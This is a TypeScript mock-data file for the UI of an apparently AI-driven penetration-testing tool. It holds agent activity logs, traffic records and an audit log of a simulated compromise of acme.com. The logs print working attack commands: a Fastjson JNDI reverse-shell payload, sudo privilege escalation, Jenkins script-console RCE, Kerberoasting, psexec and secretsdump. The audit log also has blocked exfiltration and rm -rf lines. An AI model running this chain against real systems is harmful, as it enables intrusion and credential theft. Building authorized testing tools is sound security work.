tool_use_id: "t61",
summary: '{ "total": 12840, "items": [ { "id":1, "email":"a***@acme.com", "phone":"139****" } ] }',
detail: "The management API returns all users with pagination (including email/phone), about 12.8k rows.",
},
{
seq: 63,
worker: "work#3",
intent_id: "i3",
ts: T("2026-07-26T03:58:20Z"),
kind: "thinking",
summary: "A bulk user data read entry is confirmed; the export action hit destructive/exfiltration rules and an interception approval has been submitted awaiting an allow decision.",
},
// workG · ig .git source leak and hardcoded credentials (done)
{
seq: 310,
worker: "workG",
intent_id: "ig",
ts: T("2026-07-25T20:26:00Z"),
kind: "thinking",
summary: "robots.txt mentions /.git; probe whether the directory is downloadable first — with the source, injection points and hardcoded keys can be found white-box.",
},
{
seq: 311,
worker: "workG",
intent_id: "ig",
ts: T("2026-07-25T20:27:00Z"),
kind: "tool_use",
tool: "bash",
tool_use_id: "tg1",
summary: "curl -s -o /dev/null -w '%{http_code}' https://www.acme.com/.git/HEAD",
},
{
seq: 312,
worker: "workG",
intent_id: "ig",
ts: T("2026-07-25T20:27:02Z"),
kind: "tool_result",
tool: "bash",
tool_use_id: "tg1",
summary: "200",
detail: "The .git directory is externally accessible.",
},
{
seq: 313,
worker: "workG",
intent_id: "ig",
ts: T("2026-07-25T20:28:00Z"),
kind: "tool_use",
tool: "bash",
tool_use_id: "tg2",
summary: "git-dumper https://www.acme.com/.git/ /tmp/acme && git -C /tmp/acme log --oneline | head",
},
{
seq: 314,
worker: "workG",
intent_id: "ig",
ts: T("2026-07-25T20:30:00Z"),
kind: "tool_result",
tool: "bash",
tool_use_id: "tg2",
summary: "214 files recovered; HEAD=main. config.php / db.php are among them.",
detail: "The full backend source was recovered to /tmp/acme.",
},
{
seq: 315,
worker: "workG",
intent_id: "ig",
ts: T("2026-07-25T20:34:00Z"),
kind: "tool_use",
tool: "bash",
tool_use_id: "tg3",
summary: "grep -rniE 'password|pwd|secret|Data Source' /tmp/acme/config.php",
},
{
seq: 316,
worker: "workG",
intent_id: "ig",
ts: T("2026-07-25T20:34:03Z"),
kind: "tool_result",
tool: "bash",
tool_use_id: "tg3",
summary: "$db_user='sa'; $db_pass='Acme@2021'; $db_host='10.10.10.30';",
detail: "A hardcoded database password, with the host pointing to an internal IP — recorded as a suspected internally shared credential.",
},
{
seq: 317,
worker: "workG",
intent_id: "ig",
ts: T("2026-07-25T20:36:00Z"),
kind: "result",
summary: "Source leak + hardcoded DB credentials confirmed; credentials entered the graph for later internal reuse.",
input_tokens: 88000,
output_tokens: 5200,
cache_read_tokens: 60000,
cache_write_tokens: 8000,
},
// work#6 · i6 shop fingerprinting and CVE correlation (done)
{
seq: 320,
worker: "work#6",
intent_id: "i6",
ts: T("2026-07-25T14:22:00Z"),
kind: "thinking",
summary: "shop.acme.com is an in-house e-commerce site; fingerprint the framework/component versions first, then target components with known deserialization issues.",
},
{
seq: 321,
worker: "work#6",
intent_id: "i6",
ts: T("2026-07-25T14:24:00Z"),
kind: "tool_use",
tool: "bash",
tool_use_id: "t6a",
summary: "curl -si https://shop.acme.com/ | grep -iE 'x-powered-by|server|jsessionid'",
},
{
seq: 322,
worker: "work#6",
intent_id: "i6",
ts: T("2026-07-25T14:24:03Z"),
kind: "tool_result",
tool: "bash",
tool_use_id: "t6a",
summary: "X-Powered-By: Servlet\nSet-Cookie: JSESSIONID=...",
detail: "Java stack; /api/import exists and accepts a JSON body.",
},
{
seq: 323,
worker: "work#6",
intent_id: "i6",
ts: T("2026-07-25T14:30:00Z"),
kind: "tool_use",
tool: "bash",
tool_use_id: "t6b",
summary:
'curl -s -H \'Content-Type: application/json\' -d \'{"a":{"@type":"java.lang.AutoCloseable"}}\' https://shop.acme.com/api/import',
},
{
seq: 324,
worker: "work#6",
intent_id: "i6",
ts: T("2026-07-25T14:31:00Z"),
kind: "tool_result",
tool: "bash",
tool_use_id: "t6b",
summary: "The error stack contains com.alibaba.fastjson.JSONException (1.2.24)",
detail: "Fastjson 1.2.24 confirmed — matching the JdbcRowSetImpl JNDI injection RCE.",
},
{
seq: 325,
worker: "work#6",
intent_id: "i6",
ts: T("2026-07-25T14:40:00Z"),
kind: "result",
summary: "Fingerprint matched Fastjson 1.2.24; the deserialization RCE surface is established and handed to the exploitation intent.",
input_tokens: 64000,
output_tokens: 4100,
cache_read_tokens: 42000,
cache_write_tokens: 6000,
},
// work#7 · i7 deserialization RCE for a reverse shell (done, proves g3)
{
seq: 330,
worker: "work#7",
intent_id: "i7",
ts: T("2026-07-25T15:12:00Z"),
kind: "thinking",
summary: "Stand up a rogue JNDI/LDAP service and have shop call back to load and execute the payload; verify egress with dnslog first, then land a reverse shell.",
},
{
seq: 331,
worker: "work#7",
intent_id: "i7",
ts: T("2026-07-25T15:15:00Z"),
kind: "tool_use",
tool: "bash",
tool_use_id: "t7a",
summary: "java -jar JNDIExploit.jar -i <vps> -l 1389 & # start the LDAP/HTTP rogue service",
},
{
seq: 332,
worker: "work#7",
intent_id: "i7",
ts: T("2026-07-25T15:16:00Z"),
kind: "tool_result",
tool: "bash",
tool_use_id: "t7a",
summary: "LDAP Server started on 1389, HTTP on 8180",
detail: "The rogue service is ready.",
},
{
seq: 333,
worker: "work#7",
intent_id: "i7",
ts: T("2026-07-25T15:20:00Z"),
kind: "tool_use",
tool: "bash",
tool_use_id: "t7b",
summary:
'curl -s -H \'Content-Type: application/json\' -d \'{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://<vps>:1389/Basic/ReverseShell/<vps>/4444","autoCommit":true}\' https://shop.acme.com/api/import',
},
{
seq: 334,
worker: "work#7",
intent_id: "i7",
ts: T("2026-07-25T15:21:00Z"),
kind: "tool_result",
tool: "bash",
tool_use_id: "t7b",
summary: "LDAP received the request → ReverseShell loaded → the nc listener got the connection",
detail: "The payload triggered successfully.",
},
{
seq: 335,
worker: "work#7",
intent_id: "i7",
ts: T("2026-07-25T15:24:00Z"),
kind: "tool_use",
tool: "bash",
tool_use_id: "t7c",
summary: "id; hostname -I # confirm identity and network segment inside the reverse shell",
},
{
seq: 336,
worker: "work#7",
intent_id: "i7",
ts: T("2026-07-25T15:24:02Z"),
kind: "tool_result",
tool: "bash",
tool_use_id: "t7c",
summary: "uid=33(www-data) gid=33 groups=33\n10.0.20.15 10.10.10.15",
detail: "www-data@dmz-web01, with a second NIC on 10.10.10.x — inside the DMZ and adjacent to the internal network.",
},
{
seq: 337,
worker: "work#7",
intent_id: "i7",
ts: T("2026-07-25T15:30:00Z"),
kind: "tool_use",
tool: "report_finding",
tool_use_id: "t7d",
summary: "report_finding(Deserialization RCE, high)",
},
{
seq: 338,
worker: "work#7",
intent_id: "i7",
ts: T("2026-07-25T15:40:00Z"),
kind: "result",
summary: "The deserialization RCE obtained a www-data reverse shell; goal 3's foothold is initially established.",
input_tokens: 132000,
output_tokens: 8600,
cache_read_tokens: 90000,
cache_write_tokens: 12000,
},
// work#8 · i8 foothold privilege escalation (done)
{
seq: 340,
worker: "work#8",
intent_id: "i8",
ts: T("2026-07-25T16:02:00Z"),
kind: "thinking",
summary: "www-data is limited; gather local information first to find escalation paths: sudo config, SUID, kernel version.",
},
{
seq: 341,
worker: "work#8",
intent_id: "i8",
ts: T("2026-07-25T16:05:00Z"),
kind: "tool_use",
tool: "bash",
tool_use_id: "t8a",
summary: "sudo -n -l 2>/dev/null; find / -perm -4000 -type f 2>/dev/null | head",
},
{
seq: 342,
worker: "work#8",
intent_id: "i8",
ts: T("2026-07-25T16:05:03Z"),
kind: "tool_result",
tool: "bash",
tool_use_id: "t8a",
summary: "User www-data may run: (ALL) NOPASSWD: /usr/bin/python3",
detail: "python3 is in the sudo allowlist passwordless — direct escalation is possible.",
},
{
seq: 343,
worker: "work#8",
intent_id: "i8",
ts: T("2026-07-25T16:10:00Z"),
kind: "tool_use",
tool: "bash",
tool_use_id: "t8b",
summary: "sudo python3 -c 'import os;os.setuid(0);os.system(\"id\")'",
},
{
seq: 344,
worker: "work#8",
intent_id: "i8",
ts: T("2026-07-25T16:10:02Z"),
kind: "tool_result",
tool: "bash",
tool_use_id: "t8b",
summary: "uid=0(root) gid=0(root) groups=0(root)",
detail: "Escalated to root.",
},
{
seq: 345,
worker: "work#8",
intent_id: "i8",
ts: T("2026-07-25T16:14:00Z"),
kind: "tool_use",
tool: "report_finding",
tool_use_id: "t8c",
summary: "report_finding(Privilege Escalation, high)",
},
{
seq: 346,
worker: "work#8",
intent_id: "i8",
ts: T("2026-07-25T16:20:00Z"),
kind: "result",
summary: "Local escalation to root complete and the foothold is solid; ready to pivot internally from it.",
input_tokens: 74000,
output_tokens: 4700,
cache_read_tokens: 50000,
cache_write_tokens: 7000,
},
// work#9 · i9 internal host discovery (done)
{
seq: 350,
worker: "work#9",
intent_id: "i9",
ts: T("2026-07-25T20:32:00Z"),
kind: "thinking",
summary: "The foothold connects directly to 10.10.10.0/24; use fscan/internal scanning for host and port discovery to pin down the domain controller and high-value hosts.",
},
{
seq: 351,
worker: "work#9",
intent_id: "i9",
ts: T("2026-07-25T20:36:00Z"),
kind: "tool_use",
tool: "bash",
tool_use_id: "t9a",
summary: "./fscan -h 10.10.10.0/24 -np -nobr 2>&1 | tail -n 30",
},
{
seq: 352,
worker: "work#9",
intent_id: "i9",
ts: T("2026-07-25T20:55:00Z"),
kind: "tool_result",
tool: "bash",
tool_use_id: "t9a",
summary: "DC01(10.10.10.10) 88/389/445\nFS01(10.10.10.5) 445\nJENKINS(10.10.10.20) 8080",
detail: "Pinned down the domain controller DC01, the file server FS01, and the internal Jenkins.",
},
{
seq: 353,
worker: "work#9",
intent_id: "i9",
ts: T("2026-07-25T21:00:00Z"),
kind: "result",
summary: "Internal host discovery complete; 3 high-value targets entered the graph.",
input_tokens: 82000,
output_tokens: 5100,
cache_read_tokens: 56000,
cache_write_tokens: 8000,
},
// work#10 · i10 internal credential reuse (running)
{
seq: 360,
worker: "work#10",
intent_id: "i10",
ts: T("2026-07-26T03:42:00Z"),
kind: "thinking",
summary: "The leaked sa/Acme@2021 is a DB password, and password reuse is common in companies. Password-spray DC01/FS01/JENKINS.",
},
{
seq: 361,
worker: "work#10",
intent_id: "i10",
ts: T("2026-07-26T03:44:00Z"),
kind: "tool_use",
tool: "bash",
tool_use_id: "t10a",
summary: "crackmapexec smb 10.10.10.5 10.10.10.10 -u sa -p 'Acme@2021'",
},
{
seq: 362,
worker: "work#10",
intent_id: "i10",
ts: T("2026-07-26T03:44:10Z"),
kind: "tool_result",
tool: "bash",
tool_use_id: "t10a",
summary: "FS01 [+] acme.local\\sa:Acme@2021 (Pwn3d!)\nDC01 [-] authentication failed",
detail: "The sa password was reused successfully on FS01 with admin privileges; DC01 did not work.",
},
{
seq: 363,
worker: "work#10",
intent_id: "i10",
ts: T("2026-07-26T03:50:00Z"),
kind: "thinking",
summary: "FS01 is taken; enumerating shared directories for more credentials and sensitive files...",
},
// work#11 · i11 unauthenticated Jenkins RCE (done)
{
seq: 370,
worker: "work#11",
intent_id: "i11",
ts: T("2026-07-25T21:32:00Z"),
kind: "thinking",
summary: "JENKINS 8080 is directly reachable; check whether the /script console requires authentication first.",
},
{
seq: 371,
worker: "work#11",
intent_id: "i11",
ts: T("2026-07-25T21:35:00Z"),
kind: "tool_use",
tool: "bash",
tool_use_id: "t11a",
summary: "curl -s http://10.10.10.20:8080/script -o /dev/null -w '%{http_code}'",
},
{
seq: 372,
worker: "work#11",
intent_id: "i11",
ts: T("2026-07-25T21:35:02Z"),
kind: "tool_result",
tool: "bash",
tool_use_id: "t11a",
summary: "200",
detail: "The Script Console is accessible without login.",
},
{
seq: 373,
worker: "work#11",
intent_id: "i11",
ts: T("2026-07-25T21:40:00Z"),
kind: "tool_use",
tool: "bash",
tool_use_id: "t11b",
summary: "curl -s -d 'script=println+\"whoami\".execute().text' http://10.10.10.20:8080/scriptText",
},
{
seq: 374,
worker: "work#11",
intent_id: "i11",
ts: T("2026-07-25T21:40:03Z"),
kind: "tool_result",
tool: "bash",
tool_use_id: "t11b",
summary: "nt authority\\system",
detail: "Groovy executes as SYSTEM.",
},
{
seq: 375,
worker: "work#11",
intent_id: "i11",
ts: T("2026-07-25T21:44:00Z"),
kind: "tool_use",
tool: "bash",
tool_use_id: "t11c",
summary: "curl -s -d 'script=...' http://10.10.10.20:8080/scriptText # export the Jenkins credentials store",
},
{
seq: 376,
worker: "work#11",
intent_id: "i11",
ts: T("2026-07-25T21:45:00Z"),
kind: "tool_result",
tool: "bash",
tool_use_id: "t11c",
summary: "acme\\svc_deploy : Deploy@Acme2024\nacme\\svc_build : Build#2023!",
detail: "Two domain service account plaintext passwords exported.",
},
{
seq: 377,
worker: "work#11",
intent_id: "i11",
ts: T("2026-07-25T21:48:00Z"),
kind: "tool_use",
tool: "report_finding",
tool_use_id: "t11d",
summary: "report_finding(Unauthenticated RCE, high)",
},
{
seq: 378,
worker: "work#11",
intent_id: "i11",
ts: T("2026-07-25T21:50:00Z"),
kind: "result",
summary: "Unauthenticated Jenkins RCE confirmed, with two domain service account credentials exported.",
input_tokens: 96000,
output_tokens: 6200,
cache_read_tokens: 64000,
cache_write_tokens: 9500,
},
// work#12 · i12 Kerberoasting (done)
{
seq: 380,
worker: "work#12",
intent_id: "i12",
ts: T("2026-07-25T22:42:00Z"),
kind: "thinking",
summary: "Authenticate to the domain with the svc_deploy credentials, then GetUserSPNs requests TGS for Kerberoastable service accounts.",
},
{
seq: 381,
worker: "work#12",
intent_id: "i12",
ts: T("2026-07-25T22:50:00Z"),
kind: "tool_use",
tool: "bash",
tool_use_id: "t12a",
summary: "impacket-GetUserSPNs acme.local/svc_deploy:'Deploy@Acme2024' -dc-ip 10.10.10.10 -request",
},
{
seq: 382,
worker: "work#12",
intent_id: "i12",
ts: T("2026-07-25T22:52:00Z"),
kind: "tool_result",
tool: "bash",
tool_use_id: "t12a",
summary: "svc_sql MSSQLSvc/db01.acme.local:1433 $krb5tgs$23$*svc_sql$...",
detail: "Obtained svc_sql's TGS ticket (Kerberos RC4).",
},
{
seq: 383,
worker: "work#12",
intent_id: "i12",
ts: T("2026-07-25T23:10:00Z"),
kind: "tool_use",
tool: "bash",
tool_use_id: "t12b",
summary: "hashcat -m 13100 tgs.hash rockyou.txt --force",
},
{
seq: 384,
worker: "work#12",
intent_id: "i12",
ts: T("2026-07-25T23:18:00Z"),
kind: "tool_result",
tool: "bash",
tool_use_id: "t12b",
summary: "$krb5tgs$23$*svc_sql$...:Sql@2020",
detail: "Cracked the password Sql@2020 in 8 minutes.",
},
{
seq: 385,
worker: "work#12",
intent_id: "i12",
ts: T("2026-07-25T23:19:00Z"),
kind: "tool_use",
tool: "report_finding",
tool_use_id: "t12c",
summary: "report_finding(Kerberoasting, high)",
},
{
seq: 386,
worker: "work#12",
intent_id: "i12",
ts: T("2026-07-25T23:20:00Z"),
kind: "result",
summary: "Kerberoasting cracked svc_sql's password; entered the graph for use against the domain controller.",
input_tokens: 108000,
output_tokens: 6800,
cache_read_tokens: 72000,
cache_write_tokens: 10000,
},
// work#13 · i13 taking the domain controller DC01 (done, proves g4)
{
seq: 390,
worker: "work#13",
intent_id: "i13",
ts: T("2026-07-25T23:52:00Z"),
kind: "thinking",
summary: "svc_deploy came from the Jenkins credentials store; check group membership first — if it is in Domain Admins, psexec to DC01 directly.",
},
{
seq: 391,
worker: "work#13",
intent_id: "i13",
ts: T("2026-07-25T23:55:00Z"),
kind: "tool_use",
tool: "bash",
tool_use_id: "t13a",
summary: "net rpc group members 'Domain Admins' -U 'acme.local/svc_deploy%Deploy@Acme2024' -S 10.10.10.10",
},
{
seq: 392,
worker: "work#13",
intent_id: "i13",
ts: T("2026-07-25T23:55:05Z"),
kind: "tool_result",
tool: "bash",
tool_use_id: "t13a",
summary: "ACME\\Administrator\nACME\\svc_deploy",
detail: "svc_deploy is a member of Domain Admins.",
},
{
seq: 393,
worker: "work#13",
intent_id: "i13",
ts: T("2026-07-26T00:00:00Z"),
kind: "tool_use",
tool: "bash",
tool_use_id: "t13b",
summary: "impacket-psexec acme.local/svc_deploy:'Deploy@Acme2024'@10.10.10.10",
},
{
seq: 394,
worker: "work#13",
intent_id: "i13",
ts: T("2026-07-26T00:00:10Z"),
kind: "tool_result",
tool: "bash",
tool_use_id: "t13b",
summary: "C:\\Windows\\system32> whoami\nnt authority\\system",
detail: "Logged into the domain controller DC01 as SYSTEM.",
},
{
seq: 395,
worker: "work#13",
intent_id: "i13",
ts: T("2026-07-26T00:05:00Z"),
kind: "tool_use",
tool: "bash",
tool_use_id: "t13c",
summary: "impacket-secretsdump acme.local/svc_deploy:'Deploy@Acme2024'@10.10.10.10 -just-dc",
},
{
seq: 396,
worker: "work#13",
intent_id: "i13",
ts: T("2026-07-26T00:10:00Z"),
kind: "tool_result",
tool: "bash",
tool_use_id: "t13c",
summary: "Administrator:500:aad3b435...::: krbtgt:502:aad3b435...:::",
detail: "All domain NTLM hashes exported (including krbtgt); golden tickets can be crafted for persistent control.",
},
{
seq: 397,
worker: "work#13",
intent_id: "i13",
ts: T("2026-07-26T00:15:00Z"),
kind: "tool_use",
tool: "report_finding",
tool_use_id: "t13d",
summary: "report_finding(Domain Compromise, high)",
},
{
seq: 398,
worker: "work#13",
intent_id: "i13",
ts: T("2026-07-26T00:20:00Z"),
kind: "result",
summary: "Domain controller DC01 taken; secretsdump exported all domain hashes; the target is met.",
input_tokens: 144000,
output_tokens: 9200,
cache_read_tokens: 96000,
cache_write_tokens: 14000,
},
// Main agent (human-in-the-loop conversations)
{ seq: 70, worker: "mainagent", ts: T("2026-07-26T03:18:00Z"), kind: "user", summary: "Where should we start on the admin console?" },
{
seq: 71,
worker: "mainagent",
ts: T("2026-07-26T03:18:06Z"),
kind: "text",
summary:
"admin.acme.com is an Element-UI admin console with no captcha and no rate limit. I suggest the default credential list (admin/admin123) first, then dictionaries. I have injected a high-priority intent for the work agent.",
},
{ seq: 72, worker: "mainagent", ts: T("2026-07-26T03:52:00Z"), kind: "user", summary: "Got the admin console; what's the focus next?" },
{
seq: 73,
worker: "mainagent",
ts: T("2026-07-26T03:52:08Z"),
kind: "text",
summary:
"Goal 2 is reading user sensitive data: advance 'admin user API enumeration' and 'API IDOR' in parallel. Note that bulk exports trigger interception rules and need your approval to allow.",
},
{
seq: 400,
worker: "mainagent",
ts: T("2026-07-25T15:42:00Z"),
kind: "user",
summary: "Got the shell; how do we proceed?",
},
{
seq: 401,
worker: "mainagent",
ts: T("2026-07-25T15:42:10Z"),
kind: "text",
summary:
"www-data is not enough; escalate first (sudo -l looks promising). After root, use the DMZ as a springboard for internal discovery, prioritizing the domain controller and Jenkins.",
},
{
seq: 402,
worker: "mainagent",
ts: T("2026-07-25T21:22:00Z"),
kind: "user",
summary: "Internal scan done; that Jenkins box looks unauthenticated?",
},
{
seq: 403,
worker: "mainagent",
ts: T("2026-07-25T21:22:08Z"),
kind: "text",
summary:
"Yes, /script is unauthenticated and gives direct Groovy RCE. I have injected a hint for the worker to hit Jenkins first — once taken, domain credentials can be exported and combined with Kerberoasting against the domain controller.",
},
{ seq: 404, worker: "mainagent", ts: T("2026-07-26T00:22:00Z"), kind: "user", summary: "DC01 taken? Give me a summary." },
{
seq: 405,
worker: "mainagent",
ts: T("2026-07-26T00:22:12Z"),
kind: "text",
summary:
"Confirmed taken. Attack path: shop Fastjson RCE → DMZ escalation → internal Jenkins exported domain credentials → svc_deploy is in Domain Admins → psexec DC01 SYSTEM → secretsdump all domain hashes. All four goals met or in progress.",
},
];
export function activityForTask(): Activity[] {
return activity;
}
// ── Token stats ──────────────────────────────────────────────────────────────
export const tokenWorkers: TokenUsage[] = [
{
worker: "planner",
input_tokens: 320000,
output_tokens: 24000,
cache_read_tokens: 210000,
cache_write_tokens: 33000,
},
{
worker: "work#1",
input_tokens: 288000,
output_tokens: 21000,
cache_read_tokens: 190000,
cache_write_tokens: 28000,
},
{
worker: "work#2",
input_tokens: 402000,
output_tokens: 31000,
cache_read_tokens: 280000,
cache_write_tokens: 41000,
},
{
worker: "work#3",
input_tokens: 274500,
output_tokens: 20320,
cache_read_tokens: 210400,
cache_write_tokens: 30000,
},
{ worker: "workG", input_tokens: 88000, output_tokens: 5200, cache_read_tokens: 60000, cache_write_tokens: 8000 },
{ worker: "work#6", input_tokens: 64000, output_tokens: 4100, cache_read_tokens: 42000, cache_write_tokens: 6000 },
{ worker: "work#7", input_tokens: 132000, output_tokens: 8600, cache_read_tokens: 90000, cache_write_tokens: 12000 },
{ worker: "work#8", input_tokens: 74000, output_tokens: 4700, cache_read_tokens: 50000, cache_write_tokens: 7000 },
{ worker: "work#9", input_tokens: 82000, output_tokens: 5100, cache_read_tokens: 56000, cache_write_tokens: 8000 },
{ worker: "work#10", input_tokens: 46000, output_tokens: 3200, cache_read_tokens: 30000, cache_write_tokens: 4500 },
{ worker: "work#11", input_tokens: 96000, output_tokens: 6200, cache_read_tokens: 64000, cache_write_tokens: 9500 },
{ worker: "work#12", input_tokens: 108000, output_tokens: 6800, cache_read_tokens: 72000, cache_write_tokens: 10000 },
{ worker: "work#13", input_tokens: 144000, output_tokens: 9200, cache_read_tokens: 96000, cache_write_tokens: 14000 },
];
// Mirrors TokenStatsBySession: completed usage is keyed by the stable UI session
// (main | plan | intent:<id>) instead of the reusable work#N executor name.
export const tokenSessions: SessionTokenUsage[] = (() => {
const totals = new Map<string, SessionTokenUsage>();
for (const item of activity) {
if (item.kind !== "result") continue;
let session = "";
if (item.worker === "mainagent") session = "main";
else if (item.worker === "planner") session = "plan";
else if (item.intent_id) session = `intent:${item.intent_id}`;
if (!session) continue;
const current = totals.get(session) ?? {
session,
input_tokens: 0,
output_tokens: 0,
cache_read_tokens: 0,
cache_write_tokens: 0,
};
current.input_tokens += item.input_tokens ?? 0;
current.output_tokens += item.output_tokens ?? 0;
current.cache_read_tokens += item.cache_read_tokens ?? 0;
current.cache_write_tokens += item.cache_write_tokens ?? 0;
totals.set(session, current);
}
return [...totals.values()];
})();
export const tokenTotal: TokenTotal = grandTotal;
export const dailyTokens: DailyTokenBucket[] = Array.from({ length: 30 }, (_, i) => {
const d = new Date("2026-07-26T00:00:00Z");
d.setUTCDate(d.getUTCDate() - (29 - i));
const wave = 40000 + Math.round(30000 * Math.abs(Math.sin(i / 3)));
return {
date: d.toISOString().slice(0, 10),
input_tokens: wave,
output_tokens: Math.round(wave * 0.08),
cache_read_tokens: Math.round(wave * 0.7),
cache_write_tokens: Math.round(wave * 0.12),
};
});
export const convTokens: ConvTokenSummary[] = [
{
llm_profile_id: 1,
created_at: T("2026-07-25T10:00:00Z"),
input_tokens: 42000,
output_tokens: 3800,
cache_read_tokens: 26000,
cache_write_tokens: 5200,
},
{
llm_profile_id: 2,
created_at: T("2026-07-24T16:00:00Z"),
input_tokens: 18000,
output_tokens: 1600,
cache_read_tokens: 9000,
cache_write_tokens: 2100,
},
];
// ── Traffic ──────────────────────────────────────────────────────────────────
const exchanges = [
["x-1", "www.acme.com", "GET", "https://www.acme.com/", 200, "text/html", 48213],
["x-2", "www.acme.com", "GET", "https://www.acme.com/search?q=test", 200, "text/html", 5120],
["x-3", "www.acme.com", "GET", "https://www.acme.com/.git/HEAD", 200, "text/plain", 23],
["x-4", "admin.acme.com", "GET", "https://admin.acme.com/login", 200, "text/html", 12044],
["x-5", "admin.acme.com", "POST", "https://admin.acme.com/login", 302, "text/html", 0],
["x-6", "admin.acme.com", "GET", "https://admin.acme.com/dashboard", 200, "text/html", 33120],
["x-7", "admin.acme.com", "GET", "https://admin.acme.com/api/users?page=1", 200, "application/json", 8842],
["x-8", "api.acme.com", "GET", "https://api.acme.com/v1/orders?id=1001", 200, "application/json", 640],
["x-9", "api.acme.com", "GET", "https://api.acme.com/v1/orders?id=1002", 200, "application/json", 655],
["x-10", "api.acme.com", "GET", "https://api.acme.com/v1/users/me", 200, "application/json", 312],
["x-11", "api.acme.com", "GET", "https://api.acme.com/v1/admin", 401, "application/json", 45],
["x-12", "shop.acme.com", "GET", "https://shop.acme.com/checkout", 200, "text/html", 21990],
["x-13", "shop.acme.com", "POST", "https://shop.acme.com/pay", 200, "application/json", 128],
["x-14", "www.acme.com", "GET", "https://www.acme.com/robots.txt", 200, "text/plain", 88],
["x-15", "shop.acme.com", "POST", "https://shop.acme.com/api/import", 500, "application/json", 2048],
["x-16", "shop.acme.com", "POST", "https://shop.acme.com/api/import", 200, "application/json", 0],
["x-17", "10.10.10.20", "GET", "http://10.10.10.20:8080/script", 200, "text/html", 14200],
["x-18", "10.10.10.20", "POST", "http://10.10.10.20:8080/scriptText", 200, "text/plain", 86],
["x-19", "10.10.10.10", "POST", "https://10.10.10.10:445/psexec", 200, "application/octet-stream", 0],
] as const;
export const traffic: TrafficResp = {
enabled: true,
proxy: ":8788",
count: exchanges.length,
total: exchanges.length,
page: 0,
size: 100,
exchanges: exchanges.map(([id, host, method, url, status, ct, len], i) => ({
id,
host,
method,
url,
status,
content_type: ct,
resp_len: len,
ts: T(`2026-07-26T0${1 + (i % 3)}:${String(10 + i).padStart(2, "0")}:00Z`),
})),
};
// Distinct hosts with counts, derived from the exchanges above (target picker).
const hostCounts: Record<string, number> = {};
for (const [, host] of exchanges) hostCounts[host] = (hostCounts[host] ?? 0) + 1;
export const trafficHosts: TrafficHost[] = Object.entries(hostCounts).map(([host, count]) => ({ host, count }));
export const trafficDetail: TrafficDetail = {
req: `GET /v1/orders?id=1002 HTTP/1.1
Host: api.acme.com
Authorization: Bearer eyJhbGciOiJIUzI1NiJ9...
User-Agent: ARTEX-worker/1.0
Accept: application/json
`,
resp: `HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 655
{
"order_id": 1002,
"user_id": 77,
"amount": 1299.00,
"address": "Chaoyang, Beijing ****",
"phone": "138****6021",
"items": [{ "sku": "A-100", "qty": 1 }]
}`,
};
// ── Security / Audit ─────────────────────────────────────────────────────────
export const audit: Audit = {
attributions: { allow: 312, block: 9 },
entries: [
{
ts: T("2026-07-26T03:33:00Z"),
tool: "bash",
action: "allow",
command: "curl -s -d 'username=admin...' https://admin.acme.com/login",
},
{
ts: T("2026-07-26T03:57:00Z"),
tool: "bash",
action: "allow",
command: "curl -s -b 'session=...' https://admin.acme.com/api/users",
},
{
ts: T("2026-07-26T02:10:00Z"),
tool: "bash",
action: "block",
reason: "Out of scope: out.evil.example is not in scope",
command: "curl https://out.evil.example/exfil",
},
{
ts: T("2026-07-25T22:03:00Z"),
tool: "bash",
action: "allow",
command: "sqlmap -u 'https://www.acme.com/search?q=1' --batch",
},
{
ts: T("2026-07-25T21:00:00Z"),
tool: "bash",
action: "block",
reason: "Destructive command gate: rm -rf was denied",
command: "rm -rf /var/www",
},
{
ts: T("2026-07-25T20:30:00Z"),
tool: "bash",
action: "allow",
command: "git-dumper https://www.acme.com/.git/ /tmp/acme",
},
{
ts: T("2026-07-25T15:20:00Z"),
tool: "bash",
action: "allow",
command:
"curl -s -H 'Content-Type: application/json' -d '{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"...}' https://shop.acme.com/api/import",
},
{
ts: T("2026-07-25T21:40:00Z"),
tool: "bash",
action: "allow",
command: "curl -s -d 'script=println+\"whoami\"...' http://10.10.10.20:8080/scriptText",
},
{
ts: T("2026-07-26T00:00:00Z"),
tool: "bash",
action: "allow",
command: "impacket-psexec acme.local/svc_deploy@10.10.10.10",
},
{
ts: T("2026-07-26T00:05:00Z"),
tool: "bash",
action: "block",
reason: "Data exfiltration gate: secretsdump requires manual approval",
command: "impacket-secretsdump acme.local/svc_deploy@10.10.10.10 -just-dc",
},
{
ts: T("2026-07-26T00:06:00Z"),
tool: "bash",
action: "allow",
command: "impacket-secretsdump acme.local/svc_deploy@10.10.10.10 -just-dc # approved and allowed",
},
],
};
// ── LLM profiles ─────────────────────────────────────────────────────────────
export const llmProfiles: LLMProfile[] = [
{
id: "1",
name: "Claude Opus 4.8",
format: "anthropic",
model: "claude-opus-4-8",
api_key_hint: "…a3f2",
rate_per_second: 0,
rate_per_minute: 0,
context_window_k: 1000,
thinking_type: "enabled",
reasoning_effort: "high",
is_default: true,
priority: 0,
pool_exclude: false,
// anthropic's field names are fixed, so max_tokens_field is always empty.
max_tokens: 0,
max_tokens_field: "",
},
{
id: "2",
name: "DeepSeek V4",
format: "openai",
base_url: "https://api.deepseek.com",
model: "deepseek-v4-flash",
api_key_hint: "…9c11",
rate_per_second: 0,
rate_per_minute: 60,
context_window_k: 128,
thinking_type: "",
reasoning_effort: "",
is_default: false,
priority: 10,
pool_exclude: false,
// openai format + reasoning models: the limit goes through max_completion_tokens.
max_tokens: 8192,
max_tokens_field: "max_completion_tokens",
},
];
export const llmConfig = {
configured: true,
provider: "anthropic",
model: "claude-opus-4-8",
base_url: "",
proxy: "",
key_set: true,
rate_per_second: 0,
rate_per_minute: 0,
context_window_k: 1000,
thinking_type: "enabled",
reasoning_effort: "high",
};
// ── Agents ───────────────────────────────────────────────────────────────────
export const agents: Agent[] = [
{
id: "1001",
key: "retester",
name: "Finding retest",
role: "assistant",
builtin: false,
enabled: true,
description: "Started manually from the finding detail; saves an independent retest conclusion",
max_turns: 0,
mcp_count: 0,
skill_count: 0,
tool_count: 2,
},
{
id: "1",
key: "goals",
name: "Goal decomposer",
role: "goals",
builtin: true,
enabled: true,
description: "Decomposes task goals into explorable sub-goals",
max_turns: 8,
mcp_count: 0,
skill_count: 1,
tool_count: 3,
},
{
id: "2",
key: "planner",
name: "Planner",
role: "planner",
builtin: true,
enabled: true,
description: "Reads exploration routes, judges goal completion, generates intents",
max_turns: 0,
mcp_count: 1,
skill_count: 2,
tool_count: 9,
},
{
id: "3",
key: "mainagent",
name: "Main agent",
role: "mainagent",
builtin: true,
enabled: true,
